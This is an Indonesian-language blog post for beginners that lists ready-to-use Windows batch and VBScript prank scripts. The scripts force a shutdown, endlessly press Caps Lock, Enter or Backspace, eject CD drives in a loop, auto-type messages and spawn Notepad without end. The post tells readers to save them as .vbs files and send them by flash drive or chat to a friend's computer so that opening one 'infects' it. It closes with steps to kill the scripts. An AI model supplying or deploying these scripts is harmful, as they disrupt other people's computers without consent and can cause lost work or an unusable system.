@echo off
msg * I don't like you
shutdown -c "Error! BYE BYE" -s
simpan dengan ekstensi .VBS type nya ALL FILE
efeknya komputer yg terkena langsung mengalami forced shutdown
2. Caps Lock
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
efeknya caps lock pada keyboard akan terus menyala.(dimatiin ttep nyala terus)
3. CD Drive
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
efeknya adalah komputer korban akan pop out cd drive nya alias keluar masuk terus
4. Enter
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
efeknya adalah keyboard korban akan menekan tombol enter terus menerus
5. Pesan Note Pad
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara slow motion
tulisan "Hello, how are you? I am good thanks" bisa diubah sesuai keinginan kita :D
6. Back Space
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
efeknya dalah keyboard korban akan menekan tombol back space secara terus menerus
7. PESAN
nah script ini yang paling saya suka
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D!!"
loop
efeknya adalah komputer korban akan mengetik
"jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" dalam format apapun
tulisan "jhonyramsoy a.k.a Hypn0t1z3 w4z here :D" bisa diganti sesuai keiinginan kita
8. NOTEPAD
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
efeknya adalah komputer korban akan menghidupkan perintah notepad secara terus menerus!
cara pake = copast tuh script ke notepad , save dalam file extensi/type vbs . lalu kirim note tadi ke komputer temen , lewat flashdisk lewat IM , chat dll. nanti saat dia buka tuh script , komputer dia bakalan kena nih penyakit buatan kita :D
Cara Normalinya:
>restart tu komputer
>buka ctrl+alt+del trus end all task
Cara Matiin scriptnya adalah sebagai berikut :
1. Klik kanan di bagian kanan bawah jendela monitor,
2. Pilih Task Manager, atau ctrl+alt+del
3. Pilih tab Proces, setelah itu cari nama file wscript.exe, setelah itu klik End Proces, setelah klik lagi End Process :D
sebelumnya sory bgt bwat para master klo script kya ginian dah basi dan gak mutu
postingan ini khusus bwt newbie kaya ane gini yg selalu pngen blajar dan pengen tau.
Tidak ada komentar:
Posting Komentar